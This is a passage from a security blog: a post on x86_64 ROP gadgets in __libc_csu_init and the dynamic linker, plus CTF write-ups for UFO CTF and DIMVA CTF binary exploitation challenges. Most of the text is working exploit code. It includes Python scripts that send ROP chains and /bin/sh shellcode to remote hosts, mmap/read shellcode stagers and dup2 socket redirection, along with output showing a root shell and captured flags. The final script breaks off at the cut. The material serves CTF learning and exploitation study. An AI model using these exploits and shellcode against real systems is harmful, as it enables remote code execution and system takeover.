Monday, July 29, 2013

Some universal gadget sequence for Linux x86_64 ROP payload

Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
// gcc -O3 -o rop rop.c
#include <unistd.h>

int main(void) {
    char buf[64];
    read(0, buf, 2048);
    return 0;
}
The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
Below is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000401830 <+0>: mov    QWORD PTR [rsp-0x28],rbp
   0x0000000000401835 <+5>: mov    QWORD PTR [rsp-0x20],r12
   0x000000000040183a <+10>: lea    rbp,[rip+0x2007c7]        # 0x602008
   0x0000000000401841 <+17>: lea    r12,[rip+0x2007b8]        # 0x602000
   0x0000000000401848 <+24>: mov    QWORD PTR [rsp-0x30],rbx
   0x000000000040184d <+29>: mov    QWORD PTR [rsp-0x18],r13
   0x0000000000401852 <+34>: mov    QWORD PTR [rsp-0x10],r14
   0x0000000000401857 <+39>: mov    QWORD PTR [rsp-0x8],r15
   0x000000000040185c <+44>: sub    rsp,0x38
   0x0000000000401860 <+48>: sub    rbp,r12
   0x0000000000401863 <+51>: mov    r15d,edi
   0x0000000000401866 <+54>: mov    r14,rsi
   0x0000000000401869 <+57>: sar    rbp,0x3
   0x000000000040186d <+61>: mov    r13,rdx
   0x0000000000401870 <+64>: xor    ebx,ebx
   0x0000000000401872 <+66>: call   0x400708 <_init>
   0x0000000000401877 <+71>: test   rbp,rbp
   0x000000000040187a <+74>: je     0x401896 <__libc_csu_init+102>
   0x000000000040187c <+76>: nop    DWORD PTR [rax+0x0]
   0x0000000000401880 <+80>: mov    rdx,r13
   0x0000000000401883 <+83>: mov    rsi,r14
   0x0000000000401886 <+86>: mov    edi,r15d
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
   0x0000000000401896 <+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x000000000040189b <+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x00000000004018a0 <+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x00000000004018a5 <+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x00000000004018aa <+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x00000000004018af <+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x00000000004018b4 <+132>: add    rsp,0x38
   0x00000000004018b8 <+136>: ret 
Controlling registers EDI and ESI:

Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab
   0x4018ab <__libc_csu_init+123>: mov    esi,DWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
gdb-peda$ x/3i 0x00000000004018b0
   0x4018b0 <__libc_csu_init+128>: mov    edi,DWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
These gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call

Controlling registers EDI, RSI and RDX:

The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
To effectively use mov rdx,r13 , we have to ensure that call QWORD PTR [r12+rbx*8] doesn't SIGSEGV, cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
gdb-peda$ x/10x &_DYNAMIC 
0x6006f0: 0x0000000000000001 0x0000000000000010
0x600700: 0x000000000000000c 0x0000000000400378
0x600710: 0x000000000000000d 0x0000000000400618
0x600720: 0x0000000000000004 0x0000000000400240
0x600730: 0x0000000000000005 0x00000000004002c8
gdb-peda$ x/i 0x0000000000400378
   0x400378 <_init>: sub    rsp,0x8
gdb-peda$ x/i 0x0000000000400618
   0x400618 <_fini>: sub    rsp,0x8
gdb-peda$ x/gx 0x600718
0x600718: 0x0000000000400618
We can make call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini
Dump of assembler code for function _fini:
   0x0000000000400618 <+0>: sub    rsp,0x8
   0x000000000040061c <+4>: call   0x400480 <__do_global_dtors_aux>
   0x0000000000400621 <+9>: add    rsp,0x8
   0x0000000000400625 <+13>: ret    
End of assembler dump.
_fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python

import struct

payload  = "A" * 72
payload += struct.pack("<Q", 0x00000000004005b6) 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "A" * 8

# Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini
payload += struct.pack("<Q", 0x0)        # Offset of pointer to _fini function in RBX
payload += struct.pack("<Q", 0x1)        # To pass cmp rbx,rbp check in RBP
payload += struct.pack("<Q", 0x600718)   # address in R12

payload += "B"*8       # Value for EDI register
payload += "C"*8       # Value for RSI register
payload += "D"*8       # Value for RDX register

payload += struct.pack("<Q", 0x00000000004005a0)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80> 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret

payload += "E"*56
payload += struct.pack("<Q", 0xdeadbeef)
print payload
Running the exploit we get
gdb-peda$ info registers
rax            0x7 0x7
rbx            0x4545454545454545 0x4545454545454545
rcx            0x38b7ad41d0 0x38b7ad41d0
rdx            0x4444444444444444 0x4444444444444444
rsi            0x4343434343434343 0x4343434343434343
rdi            0x42424242 0x42424242
rbp            0x4545454545454545 0x4545454545454545
rsp            0x7fffbbd90350 0x7fffbbd90350
r8             0x38b7d7a300 0x38b7d7a300
r9             0x38b720e8e0 0x38b720e8e0
r10            0x7fffbbd90000 0x7fffbbd90000
r11            0x246 0x246
r12            0x4545454545454545 0x4545454545454545
r13            0x4545454545454545 0x4545454545454545
r14            0x4545454545454545 0x4545454545454545
r15            0x4545454545454545 0x4545454545454545
rip            0xdeadbeef 0xdeadbeef
eflags         0x10206 [ PF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
gdb-peda$ x/i $rip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
We can see that EDI, RSI and RDX are loaded with user controlled data. One can also make call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.

Stack Shifting gadget:

Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898
   0x401898 <__libc_csu_init+104>: pop    rsp
   0x401899 <__libc_csu_init+105>: and    al,0x8
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret

Dereference with respect to RSP:

This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a
   0x40188a <__libc_csu_init+90>: call   QWORD PTR [rsp+rbx*8]
   0x40188d <__libc_csu_init+93>: add    rbx,0x1
   0x401891 <__libc_csu_init+97>: cmp    rbx,rbp
   0x401894 <__libc_csu_init+100>: jne    0x401880 <__libc_csu_init+80>
   0x401896 <__libc_csu_init+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
Chaining Gadgets from Linker:

_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
   0x38b7214780 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x38b7214784 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x38b7214788 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x38b721478d <_dl_runtime_resolve+13>: mov    QWORD PTR [rsp+0x10],rdx
   0x38b7214792 <_dl_runtime_resolve+18>: mov    QWORD PTR [rsp+0x18],rsi
   0x38b7214797 <_dl_runtime_resolve+23>: mov    QWORD PTR [rsp+0x20],rdi
   0x38b721479c <_dl_runtime_resolve+28>: mov    QWORD PTR [rsp+0x28],r8
   0x38b72147a1 <_dl_runtime_resolve+33>: mov    QWORD PTR [rsp+0x30],r9
   0x38b72147a6 <_dl_runtime_resolve+38>: mov    rsi,QWORD PTR [rsp+0x40]
   0x38b72147ab <_dl_runtime_resolve+43>: mov    rdi,QWORD PTR [rsp+0x38]
   0x38b72147b0 <_dl_runtime_resolve+48>: call   0x38b720de00 <_dl_fixup>
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
gdb-peda$ disass read
Dump of assembler code for function read@plt:
   0x00000000004003e8 <+0>: jmp    QWORD PTR [rip+0x20056a]  # 0x600958 <read@got.plt>
   0x00000000004003ee <+6>: push   0x1
   0x00000000004003f3 <+11>: jmp    0x4003c8    # PLT [0] 
End of assembler dump.
PLT [0] code:
gdb-peda$ x/3i 0x4003c8
   0x4003c8: push   QWORD PTR [rip+0x200572]   # 0x600940
   0x4003ce: jmp    QWORD PTR [rip+0x200574]   # 0x600948, GOT entry ie PLTGOT+16
   0x4003d4: nop    DWORD PTR [rax+0x0]
gdb-peda$ x/x 0x600948
0x600948: 0x00000000
gdb-peda$ break *main
Breakpoint 1 at 0x400578
gdb-peda$ run
gdb-peda$ x/x 0x600948
0x600948: 0x00000038b7214780      # address of _dl_runtime_resolve
The code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 + GOT
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python

#   GADGET 
#   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 from GOT used for PLT[0], leaked address
#   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
#   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
#   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
#   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
#   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
#   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
#   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
#   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
#   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11

import struct
import socket
import time

ip = "127.0.0.1"
port = 3337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )

payload  = "A" * 72

# call mmap
payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x38b7addfd0 )  # address of mmap@libc

payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += struct.pack("<Q", 34 )            # For RCX, 4th param
payload += struct.pack("<Q", 7 )             # For RDX, 3rd param
payload += struct.pack("<Q", 1024 )          # For RSI, 2nd param
payload += struct.pack("<Q", 0x0badc000 )    # For RDI, 1st param
payload += struct.pack("<Q", 0 )             # For R8,  5th param
payload += struct.pack("<Q", 0 )             # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x004003e8 )    # For RAX, read@PLT

# call read
payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += "ANYTHING"                           # For RCX, 4th param
payload += struct.pack("<Q", 1024 )          # For RDX, 3rd param
payload += struct.pack("<Q", 0x0badc000 )    # For RSI, 2nd param
payload += struct.pack("<Q", 0 )             # For RDI, 1st param, stdin
payload += "ANYTHING"                           # For R8,  5th param
payload += "ANYTHING"                           # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x0badc000 )    # jump to shellcode 

soc.send(payload + "\n")
time.sleep(1)
soc.send(shellcode + "\n")
soc.send("id\n")

print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Will update post when I find more info.

Monday, July 22, 2013

UFO CTF 2013 - pwn 100 - ufobay - [Team xbios]

The given binary is a 32 bit FreeBSD ELF executable, statically linked. Setting up a FreeBSD 9.1 VM, I started analysing the binary. Binary requires a user ufobay and database file /home/ufobay/ufobay.db. We noticed a buffer overflow vulnerability in option 1, where it gets parcel. User can supply 256 bytes of data. 172 bytes of data can overwrite the saved EIP.

Here is the idea of exploit:

[*] Overwrite saved EIP with CALL ESP gadget
[*] Place the shellcode immediately after the CALL ESP gadget

Below is the exploit:
#!/usr/bin/env python

import struct
import socket
import time

# msfvenom -p bsd/x86/exec CMD='/bin/sh -c sh<&5 >&5' -a x86_64 -b '\x0a'
shellcode = ( "\x6a\x3b\x58\x99\x52\x68\x2d\x63\x00\x00\x89\xe7\x52\x68" +
              "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\xe8\x15" +
              "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20" +
              "\x73\x68\x3c\x26\x35\x20\x3e\x26\x35\x00\x57\x53\x89\xe1" +
              "\x52\x51\x53\x50\xcd\x80")

ret_addr = struct.pack("<I", 0x080ff46d) # call esp
NOP = struct.pack("B", 0x90)
EBP = struct.pack("<I", 0x0815c080) 
payload = NOP * 168 + EBP + ret_addr + shellcode

ip = '92.63.96.226'
#ip = '192.168.122.200'
port = 1337

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(1)
print soc.recv(1024)

# option
soc.send("1\n")
time.sleep(0.5)
print soc.recv(512)

# source
soc.send("A\n")
time.sleep(0.5)
print soc.recv(512)

# destination
soc.send("A\n")
time.sleep(0.5)
print soc.recv(512)

# size
soc.send(str(len(payload)) + "\n")
time.sleep(0.5)
print soc.recv(512)

# parcel
soc.send(payload + "\n")
time.sleep(0.5)

soc.send("cat key\n")
time.sleep(0.5)
print soc.recv(1024)
Flag for the challenge is H0wCanW3D3F3atAL1ENZ

DIMVA CTF 2013 - pwn 200 - [Team xbios]

We were given a 32 bit Linux ELF executable with NX enabled. The executable is very much similar to pwn100. As pwn100, we can overwrite function pointer in signal handler and there is a format string bug, which in turn can trigger a buffer overflow in main() and send_back() functions.
main  {
    read(client_sockfd, buffer, 0x800);
    strncpy(tech_id, buffer, 0x100); 
    sprintf(&v10, tech_id);  // format string bug
    sprintf(&v5, "\n> Thank you %s\n> Now please send your code using your RETL Flux Capacitor device.\n", &v10); 
    send_back(&v5);
}

send_back(const char *src)  {
    char buf[2048]; 
    memset(&buf, 0, 0x800);
    strncpy(&buf, src, strlen(src) - 1); // length parameter computed from user input
    return send(client_sockfd, &buf, strlen(&buf) - 1, 0);
}
Below input can overwrite saved EIP in send_back()
%2000d + "A" * 200
But I didn't exploit this vulnerability. We still went for same function pointer overwrite in signal handler, but this time with ROP. Here is the idea of exploit

[*] CALL EAX instruction points to gadget to shift ESP into user data past the header
[*] Call dup2(4, stdin) and dup2(4, stdout)
[*] Now call execve() to execute /bin/sh. Calling system() inside siganl didn't work, giving BAD ADDRESS error. Looks like an issue with signal safety
[*] Offsets of libc functions are computed using the copy of libc obtained from pwn100 shell

Below is the exploit:
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x193e0
dup2 = 0xdedd0
execve = 0xb82e0

format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP
payload  = struct.pack("<I", 0x0806b264) * 275   # ret

# dup2 stdin
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x0)          # stdin
payload += "A" * 52

# dup2 stdout
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", dup2 - libc_start_main)   # Offset to dup2_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0x1)          # stdout
payload += "A" * 52

# execve
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", execve - libc_start_main)   # Offset to execve_remote
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x08048eef)   # call eax
payload += struct.pack("<I", 0x0806ed40+1528)   # parameters for execve
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "/bin"
payload += "//sh"
payload += struct.pack("<I", 0x0)

# stack pivot for call eax
payload += struct.pack("<I", 0x080565ee)    # add esp, 0x5C

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)
Flag for the challenge is c0ffee700ab3f9a35614f29d1cb65186

Meanwhile I wrote another exploit, as I faced some issues with first exploit. Eventually got both working. Here is the exploit

[*] mmap() a new memory area with RWX permission
[*] call read() and copy payload into buffer
[*] Jump to this buffer
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 7778
port = 1120

libc_start_main = 0x193e0
mmap = 0xeb0e0
read = 0xde440 

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)


format = "ProtoSecure1.0 " + struct.pack("B", 0x80) # 16 bytes
hash = sha256(struct.pack("<I", 0x0806b264) * 32).digest()
string_for_hash = struct.pack("<I", 0x0806b264) * 32  # ret as NOP

payload  = struct.pack("<I", 0x0806b264) * 290   # ret as NOP

# mmap
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", mmap - libc_start_main)   # Offset to mmap
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0xbadc000)    # addr for mmap
payload += struct.pack("<I", 1024)         # size
payload += struct.pack("<I", 7)            # permission
payload += struct.pack("<I", 34)   
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x0)
payload += "A" * 36

# read
payload += struct.pack("<I", 0x08048a80)   # pop ebx ; ret
payload += struct.pack("<I", (0x0806d088 + 0x0B8A0008))   # GOT address of __libc_start_main
payload += struct.pack("<I", 0x08048ec3)   # pop ebp ; ret
payload += struct.pack("<I", read - libc_start_main)   # Offset to read
payload += struct.pack("<I", 0x0804cf55)   # xchg eax, ebp ; ret
payload += struct.pack("<I", 0x0805801e)   # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
payload += "MOVE"
payload += "JUNK"
payload += struct.pack("<I", 0x0806d460)   # .bss
payload += struct.pack("<I", 0x0804b1d2)   # call eax
payload += struct.pack("<I", 0x4)          # socket
payload += struct.pack("<I", 0xbadc000)    # buffer
payload += struct.pack("<I", 1024)         # size
payload += "A" * 48
payload += struct.pack("<I", 0xbadc000)    # return address

# call eax, stack pivot 
payload += struct.pack("<I", 0x080565ee)   # add esp, 0x5C ; ret

code = (format + hash + string_for_hash + payload)
soc.send(code + "\n")
time.sleep(1)
print soc.recv(2048)

soc.send(code + "\n")
time.sleep(1)
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )                 # 18 bytes

# msfvenom /bin/sh
shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
          "\x9c\x37\xcd\x08\xf5\xa9\x98\x2e\x57\xde\x93\xb0\x57\x1e" +
          "\x8b\xd2\x3e\x70\xfc\x61\xa8\x8c\x55\xd5\xa1\x6c\x94\x59" )

soc.send(dup2 + shell + "\n")
soc.send("/bin/cat flag\n")
time.sleep(1)
print soc.recv(1024)

DIMVA CTF 2013 - pwn 100 - [Team xbios]

We were given a 32-bit Linux ELF executable, with NX disabled. Analysing the binary, we can see the following information

[*] The binary reads user input as read(fd, 0x806ec40, 0x800 )
[*] parse_packet() function checks for particular format of input
[*] If checks are passed, memcpy() is called

Format of Input:
STRING(ProtoSecure1.0 )(15 bytes) + BYTE to reach memcpy() + SHA256_HASH(32 bytes) + STRING used for computing hash(128 bytes) + DATA
To reach memcpy() fuction, we have to supply a suitable byte.
.text:080491E7                 cmp     [ebp+var_1A], 7Fh
.text:080491EC                 jg      short loc_8049212
.text:080491EE                 movsx   ecx, [ebp+var_1A]
.text:080491F2                 mov     eax, [ebp+var_20]
.text:080491F5                 add     eax, 30h
.text:080491F8                 mov     edx, eax
.text:080491FA                 lea     eax, [ebp+dest]
.text:08049200                 mov     [esp+8], ecx    ; n
.text:08049204                 mov     [esp+4], edx    ; src
.text:08049208                 mov     [esp], eax      ; dest
.text:0804920B                 call    _memcpy
Jg does a signed comparison, 0x80 sets the sign flag and jg is not taken. This leads us to memcpy(). movsx ecx, [ebp+var_1A] causes memcpy to have very large size parameter, tiggering SIGSEGV in libc. Now the signal handler is called.

In the segfault_sigaction(), we can control the call to function pointer.
.text:08049096                 mov     eax, [ebp+var_1C]
.text:08049099                 call    eax                 
Our idea of exploit is to overwrite the function pointer with the address of our payload. The remote application provides us with the information of certain registers.
Current context:

EAX: 0xffffcf0c
ESI: 0xffffd2e8
EDI: 0x805815c
ECX: 0xffffcf0c
ESP: 0xffffc620
EBP: 0xffffce78
Debugging the binary locally, I noticed that EDX points to the user supplied data. Since the offset to address pointed to by EDX from EBP is constant, we the compute the value in EDX using the value in EBP.
EBP - 1592
hex(0xffffce78 - 1592)
'0xffffc840' == EDX
Now we have the address of user supplied data in remote machine. Here is the final exploit
#!/usr/bin/env python

import socket
from hashlib import sha256
import struct
import time

#ip = "127.0.0.1"
ip = "dimvactf.0x90.eu"
#port = 6666
port = 1116
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

dup2 = ( "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04" +
         "\xcd\x80\x75\xf6" )         # 18 bytes

shell = ( "\xdb\xc1\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\xb8\x79\x0f" +   # 70 bytes
          "\x74\x5a\x83\xc3\x04\x31\x43\x16\x03\x43\x16\xe2\x8c\x65" +
          "\x7f\x02\xf7\x28\x19\xda\x2a\xae\x6c\xfd\x5c\x1f\x1c\x6a" +
